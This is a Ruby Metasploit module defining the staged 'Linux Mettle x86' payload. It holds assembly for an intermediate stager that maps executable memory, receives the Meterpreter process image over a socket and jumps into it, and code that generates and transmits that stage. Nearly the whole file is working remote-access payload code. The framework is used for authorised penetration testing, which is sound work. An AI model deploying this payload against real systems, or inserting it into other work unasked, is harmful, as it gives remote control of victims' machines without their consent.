##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/elfparsey'

module MetasploitModule
  include Msf::Sessions::MeterpreterOptions
  include Msf::Sessions::MettleConfig

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'Linux Mettle x86',
        'Description' => 'Inject the mettle server payload (staged)',
        'Author'      => [
          'William Webb <william_webb[at]rapid7.com>'
        ],
        'Platform'    => 'Linux',
        'Arch'        => ARCH_X86,
        'License'     => MSF_LICENSE,
        'Session'     => Msf::Sessions::Meterpreter_x86_Linux
      )
    )
  end

  def elf_ep(payload)
    elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
    elf.elf_header.e_entry
  end

  def asm_intermediate_stage(payload)
    entry_offset = elf_ep(payload)

    %(
      push edi                    ; save sockfd
      xor ebx, ebx                ; address
      mov ecx, #{payload.length}  ; length
      mov edx, 7                  ; PROT_READ | PROT_WRITE | PROT_EXECUTE
      mov esi, 34                 ; MAP_PRIVATE | MAP_ANONYMOUS
      xor edi, edi                ; fd
      xor ebp, ebp                ; pgoffset
      mov eax, 192                ; mmap2
      int 0x80                    ; syscall

      ; receive mettle process image
      mov edx, eax                ; save buf addr for next code block
      pop ebx                     ; sockfd
      push 0x00000100             ; MSG_WAITALL
      push #{payload.length}      ; size
      push eax                    ; buf
      push ebx                    ; sockfd
      mov ecx, esp                ; arg array
      mov ebx, 10                 ; SYS_READ
      mov eax, 102                ; sys_socketcall
      int 0x80                    ; syscall

      ; setup stack
      pop edi
      xor ebx, ebx
      and esp, 0xfffffff0         ; align esp
      add esp, 40
      mov eax, 109
      push eax
      mov esi, esp
      push ebx                    ; NULL
      push ebx                    ; AT_NULL
      push edx                    ; mmap buffer
      mov eax, 7
      push eax                    ; AT_BASE
      push ebx                    ; end of ENV
      push ebx                    ; NULL
      push edi                    ; sockfd
      push esi                    ; m
      mov eax, 2
      push eax                    ; argc

      ; down the rabbit hole
      mov eax, #{entry_offset}
      add edx, eax
      jmp edx
    )
  end

  def generate_intermediate_stage(payload)
    Metasm::Shellcode.assemble(Metasm::X86.new, asm_intermediate_stage(payload)).encode_string
  end

  def handle_intermediate_stage(conn, payload)
    midstager = generate_intermediate_stage(payload)
    vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
    conn.put(midstager) == midstager.length
  end

  def generate_stage(opts = {})
    config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts))
    MetasploitPayloads::Mettle.new('i486-linux-musl',
      generate_config(opts.merge(config_opts))).to_binary :process_image
  end
end
